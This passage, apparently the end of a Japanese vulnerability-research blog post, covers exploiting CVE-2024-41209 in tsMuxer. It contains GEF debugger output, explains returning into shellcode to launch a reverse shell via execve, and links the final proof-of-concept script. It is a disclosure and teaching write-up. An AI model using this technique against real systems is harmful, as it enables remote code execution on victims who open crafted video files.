0x000000901ef8|+0x0038|+007: 0x0000000000735cf0 <_IO_default_showmanyc> -> 0xffffffb8fa1e0ff3 <- retaddr[4]
------------------------------------------------------------------------------------------------------------------------------------------------------------------------ code:x86:64 ----
0x627785 b8ca000000 <__deallocate_stack+0xd5> mov eax, 0xca
0x62778a 488d3d37fe2e00 <__deallocate_stack+0xda> lea rdi, [rip + 0x2efe37] # 0x9175c8 <stack_cache_lock>
0x627791 0f05 <__deallocate_stack+0xe1> syscall
-> 0x627793 5d <__deallocate_stack+0xe3> pop rbp
0x627794 c3 <__deallocate_stack+0xe4> ret
0x627795 0f1f00 <__deallocate_stack+0xe5> nop DWORD PTR [rax]
0x627798 488d3d29fe2e00 <__deallocate_stack+0xe8> lea rdi, [rip + 0x2efe29] # 0x9175c8 <stack_cache_lock>
0x62779f e81cb70000 <__deallocate_stack+0xef> call 0x632ec0 <__lll_lock_wait_private>
0x6277a4 e924ffffff <__deallocate_stack+0xf4> jmp 0x6276cd <__deallocate_stack+0x1d>
gef> vmmap -n
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x0000000000401000 0x00000000007d9000 0x00000000003d8000 0x0000000000001000 r-x /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $rcx, $rip
0x00000000007d9000 0x00000000008ea000 0x0000000000111000 0x00000000003d9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $r13
0x00000000008ea000 0x00000000008fe000 0x0000000000014000 0x00000000004e9000 r-- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR
0x00000000008fe000 0x0000000000901000 0x0000000000003000 0x00000000004fd000 rw- /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $r14
0x0000000000901000 0x0000000000903000 0x0000000000002000 0x0000000000500000 rwx /home/vagrant/blog_tsmuxer/tsMuxer/bin/lnx/tsMuxeR <- $rsp, $rdi
0x0000000000903000 0x0000000000905000 0x0000000000002000 0x0000000000000000 rwx
0x0000000000905000 0x0000000000940000 0x000000000003b000 0x0000000000000000 rw- [heap]<tls-th1> <- $r8, $r10
0x00007ffff73c2000 0x00007ffff77f8000 0x0000000000436000 0x0000000000000000 rw-
0x00007ffff77f8000 0x00007ffff77f9000 0x0000000000001000 0x0000000000000000 ---
0x00007ffff77f9000 0x00007ffff7ff9000 0x0000000000800000 0x0000000000000000 rw- <tls-th2><stack-th2>
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $r9, $r15
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
後は、シェルコードを配置したメモリ領域にretするだけです。
1番目のステップで作成したシェルコードが実行され、execveによってリバースシェルが起動します。
最終的なエクスプロイトコードを以下に示します。
https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_final_poc.py
以下の画像は、 /bin/sh/ -c "id; date"
をexecveシステムコールに渡して実行した結果です。文字列としてリバースシェルを起動するコマンド列を用意すれば、victimがクラフトされたMOVファイルを開いた際に、別のデバイスからvictimのシェルに接続できてしまいます。
|
任意コード実行の様子
|
まとめ
Fuzzerが発見したクラッシュを解析し、Exploitコードを開発するまでのプロセスを解説しました。
脆弱性の根本原因を特定し、最小のPoCを作成し、コード実行を実現するためのパズルを組み立てる思考の流れは、CTFのそれとも近く、とても楽しいものです。
本脆弱性の発見・報告と本記事の執筆に携わったArataとiwashiiraは、リチェルカセキュリティでパートタイマーとして働いています。当社には他にもバイナリ解析の領域で若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひカジュアル面談にお申し込みください。